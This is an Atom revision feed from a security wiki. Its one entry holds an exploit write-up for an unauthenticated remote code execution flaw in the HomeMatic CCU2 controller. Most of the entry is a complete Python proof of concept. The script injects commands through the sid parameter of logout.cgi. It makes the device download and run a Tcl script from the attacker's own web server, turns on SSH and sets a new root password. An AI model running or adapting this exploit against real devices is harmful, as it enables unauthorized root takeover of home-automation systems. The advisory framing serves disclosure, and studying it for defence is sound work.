<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=HomeMatic_Zentrale_CCU2_Unauthenticated_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>HomeMatic Zentrale CCU2 Unauthenticated 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=HomeMatic_Zentrale_CCU2_Unauthenticated_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=HomeMatic_Zentrale_CCU2_Unauthenticated_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T18:28:47Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=HomeMatic_Zentrale_CCU2_Unauthenticated_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1519&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: HomeMatic Zentrale CCU2 Unauthenticated RCE # Date: 16-07-2018 # Software Link: https://www.homematic.com/ # Exploit Author: Kacper Szurek - ESE...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=HomeMatic_Zentrale_CCU2_Unauthenticated_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1519&amp;oldid=prev"/>
		<updated>2021-04-11T01:37:03Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: HomeMatic Zentrale CCU2 Unauthenticated RCE # Date: 16-07-2018 # Software Link: https://www.homematic.com/ # Exploit Author: Kacper Szurek - ESE...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: HomeMatic Zentrale CCU2 Unauthenticated RCE&lt;br /&gt;
# Date: 16-07-2018&lt;br /&gt;
# Software Link: https://www.homematic.com/&lt;br /&gt;
# Exploit Author: Kacper Szurek - ESET&lt;br /&gt;
# Contact: https://twitter.com/KacperSzurek&lt;br /&gt;
# Website: https://security.szurek.pl/&lt;br /&gt;
# YouTube: https://www.youtube.com/c/KacperSzurek&lt;br /&gt;
# Category: remote&lt;br /&gt;
  &lt;br /&gt;
1. Description&lt;br /&gt;
   &lt;br /&gt;
File: /root/www/api/backup/logout.cgi&lt;br /&gt;
 &lt;br /&gt;
```&lt;br /&gt;
proc main { } {&lt;br /&gt;
    set sid [getQueryArg sid]&lt;br /&gt;
     &lt;br /&gt;
    if [catch { session_logout $sid}] { error LOGOUT }&lt;br /&gt;
     &lt;br /&gt;
    puts &amp;quot;Content-Type: text/plain&amp;quot;&lt;br /&gt;
    puts &amp;quot;&amp;quot;&lt;br /&gt;
    puts &amp;quot;OK&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
```&lt;br /&gt;
 &lt;br /&gt;
`$sid` value is passed directly to `session_logout` function.&lt;br /&gt;
 &lt;br /&gt;
File: /root/www/tcl/eq3/session.tcl&lt;br /&gt;
 &lt;br /&gt;
```&lt;br /&gt;
proc session_logout { sid } {&lt;br /&gt;
  rega_exec &amp;quot;system.ClearSessionID(\&amp;quot;$sid\&amp;quot;);&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
`$sid` value is not escaped properly. &lt;br /&gt;
&lt;br /&gt;
We can close current rega script using `&amp;quot;);` and execute our payload.&lt;br /&gt;
   &lt;br /&gt;
2. Proof of Concept&lt;br /&gt;
 &lt;br /&gt;
POC in Python which enable ssh access and change root password without any credentials.&lt;br /&gt;
 &lt;br /&gt;
```&lt;br /&gt;
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer&lt;br /&gt;
import time&lt;br /&gt;
import urllib2&lt;br /&gt;
import threading&lt;br /&gt;
import sys&lt;br /&gt;
import os&lt;br /&gt;
import signal&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;HomeMatic Zentrale CCU2 Unauthenticated RCE&amp;quot;&lt;br /&gt;
print &amp;quot;Unauthenticated Remote Code Execution&amp;quot;&lt;br /&gt;
print &amp;quot;by Kacper Szurek - ESET&amp;quot;&lt;br /&gt;
print &amp;quot;https://security.szurek.pl/&amp;quot;&lt;br /&gt;
print &amp;quot;https://twitter.com/KacperSzurek&amp;quot;&lt;br /&gt;
print &amp;quot;https://www.youtube.com/c/KacperSzurek\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
def signal_handler(a, b):&lt;br /&gt;
    print &amp;quot;[+] Exit&amp;quot;&lt;br /&gt;
    os._exit(0)&lt;br /&gt;
&lt;br /&gt;
signal.signal(signal.SIGINT, signal_handler)&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 4:&lt;br /&gt;
    print &amp;quot;Usage: exploit &amp;lt;your_ip&amp;gt; &amp;lt;homematic_ip&amp;gt; &amp;lt;new_password&amp;gt;&amp;quot;&lt;br /&gt;
    os._exit(0)&lt;br /&gt;
&lt;br /&gt;
our_ip = sys.argv[1]&lt;br /&gt;
homematic_ip = sys.argv[2]&lt;br /&gt;
new_password = sys.argv[3]&lt;br /&gt;
tcl_file = &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
#!/bin/tclsh&lt;br /&gt;
source /www/api/eq3/jsonrpc.tcl&lt;br /&gt;
source /www/api/eq3/json.tcl&lt;br /&gt;
set args(passwd) &amp;quot;{}&amp;quot;&lt;br /&gt;
set args(mode) &amp;quot;true&amp;quot;&lt;br /&gt;
source /www/api/methods/ccu/setssh.tcl&lt;br /&gt;
source /www/api/methods/ccu/setsshpassword.tcl&lt;br /&gt;
source /www/api/methods/ccu/restartsshdaemon.tcl&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;.format(new_password)&lt;br /&gt;
&lt;br /&gt;
class StoreHandler(BaseHTTPRequestHandler):&lt;br /&gt;
    def do_GET(self):&lt;br /&gt;
        print self.path&lt;br /&gt;
        if self.path == '/exploit':&lt;br /&gt;
            self.send_response(200)&lt;br /&gt;
            self.send_header('Content-type', 'text/html')&lt;br /&gt;
            self.end_headers()&lt;br /&gt;
            self.wfile.write(tcl_file)&lt;br /&gt;
&lt;br /&gt;
def server():&lt;br /&gt;
    try:&lt;br /&gt;
        server = HTTPServer((our_ip, 1234), StoreHandler)&lt;br /&gt;
        server.serve_forever()&lt;br /&gt;
    except Exception, e:&lt;br /&gt;
        print &amp;quot;[-] Cannot start web server: {}&amp;quot;.format(e)&lt;br /&gt;
        os._exit(0)&lt;br /&gt;
&lt;br /&gt;
def send_payload(payload):&lt;br /&gt;
    return urllib2.urlopen('http://{}/api/backup/logout.cgi?sid=aa&amp;quot;);system.Exec(&amp;quot;{}&amp;quot;);system.ClearSessionID(&amp;quot;bb'.format(homematic_ip, payload)).read()&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    version = urllib2.urlopen('http://{}/api/backup/version.cgi'.format(homematic_ip), timeout=6).read()&lt;br /&gt;
except:&lt;br /&gt;
    version = &amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if not version.startswith('VERSION='):&lt;br /&gt;
    print &amp;quot;[-] Probably not HomeMatic IP: {}&amp;quot;.format(homematic_ip)&lt;br /&gt;
    os._exit(0)&lt;br /&gt;
&lt;br /&gt;
if &amp;quot;'&amp;quot; in new_password or '&amp;quot;' in new_password:&lt;br /&gt;
    print &amp;quot;[-] Forbidden characters in password&amp;quot;&lt;br /&gt;
    os._exit(0)&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;[+] Start web server&amp;quot;&lt;br /&gt;
t = threading.Thread(target=server)&lt;br /&gt;
t.daemon = True&lt;br /&gt;
t.start()&lt;br /&gt;
time.sleep(2)&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;[+] Download exploit&amp;quot;&lt;br /&gt;
send_payload('wget+-O+/tmp/exploit+http://{}:1234/exploit&amp;amp;&amp;amp;chmod+%2bx+/tmp/exploit'.format(our_ip))&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;[+] Set chmod +x&amp;quot;&lt;br /&gt;
send_payload('chmod+%2bx+/tmp/exploit')&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;[+] Execute exploit&amp;quot;&lt;br /&gt;
send_payload('/bin/tclsh+/tmp/exploit')&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;[+] Success, now you can ssh as root:&amp;quot;&lt;br /&gt;
print &amp;quot;ssh root@{}&amp;quot;.format(homematic_ip)&lt;br /&gt;
print &amp;quot;Password: {}&amp;quot;.format(new_password)&lt;br /&gt;
os._exit(0)&lt;br /&gt;
```&lt;br /&gt;
 &lt;br /&gt;
3. Solution:&lt;br /&gt;
    &lt;br /&gt;
Update to version 2.35.16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>